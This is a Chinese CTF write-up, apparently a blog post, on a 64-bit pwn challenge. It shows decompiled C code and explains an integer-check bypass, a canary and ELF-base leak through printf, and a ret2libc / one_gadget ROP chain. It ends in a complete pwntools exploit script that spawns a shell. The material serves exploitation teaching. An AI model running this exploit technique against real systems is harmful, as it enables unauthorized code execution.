源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+8h] [rbp-98h] BYREF
int v5; // [rsp+Ch] [rbp-94h]
char buf[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v7; // [rsp+98h] [rbp-8h]
v7 = __readfsqword(0x28u);
v5 = 0;
v4 = 0;
memset(buf, 0, sizeof(buf));
alarm(0x3Cu);
setbuf(_bss_start, 0LL);
welcome();
puts("Please tell me your lucky number:");
_isoc99_scanf("%d", &v4);
if ( (int)v4 > 404 )
{
puts("Please try again!");
exit(-1);
}
if ( v4 <= 0x208 )
{
puts("Please try again!");
exit(-1);
}
puts("Can you give me your name?");
v5 = read(0, buf, 0x100uLL);
if ( buf[v5 - 1] == 10 )
buf[v5 - 1] = 0;
putchar(10);
printf("Hello %s.\n\n", buf);
puts("Do you have anything want to say?");
read(0, buf, 0x100uLL);
puts("See you next time!");
return 0;
}
保护全开,题目的灵感来源于某个公开知识库(最早出现在星盟的内部赛上),主要就是先通过整数溢出绕过一下第一步,然后通过第一次的printf泄露出Canary和old_ebp,注意,这里泄露出来的old_ebp与elf_base有一个固定的偏移。

偏移恰好等于csu_init的地址(为什么呢为什么呢?留个坑)
计算出来elf_base之后,也就是下图第一个红框

我们可以计算出在elf文件里puts函数的got表地址和plt表地址,以及main函数和一些gadgets的地址。然后我们就可以得到libc_base,打ret2libc或者直接打ret2one_gadget
Python
from pwn import *
context.log_level = 'debug'
p = process('./vuln11')
#p = remote("124.223.53.252",10000)
elf = ELF('./vuln11')
libc = ELF('./libc-2.27.so')
#
p.sendlineafter("number:",b'-1')
#--------------------leak canary elf_base---------------#
gdb.attach(p)
payload = b'A'*0x88+b'A'
p.sendafter(b"name?\n",payload)
p.recvuntil(b'A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,b'\x00'))-0xc50
print(hex(canary))
print(hex(elf_base))
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0xcb3
main = elf_base+0xaa2
payload = b'A'*0x88 + p64(canary) + b'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('say?',payload)
p.recvline()
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#puts = u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))
libc_base = puts - libc.symbols['puts']
print(hex(libc_base))
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendlineafter("number:",b'-1')
p.sendafter(b"name?",'AAAA')
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(libc_base+one[0])
p.sendafter('say?',payload)
p.interactive()
声明:
本文采用
BY-NC-SA
协议进行授权,如无注明均为原创,转载请注明转自
CyFin | Blog
本文地址: 记一道泄露elf_base的题目
本文地址: 记一道泄露elf_base的题目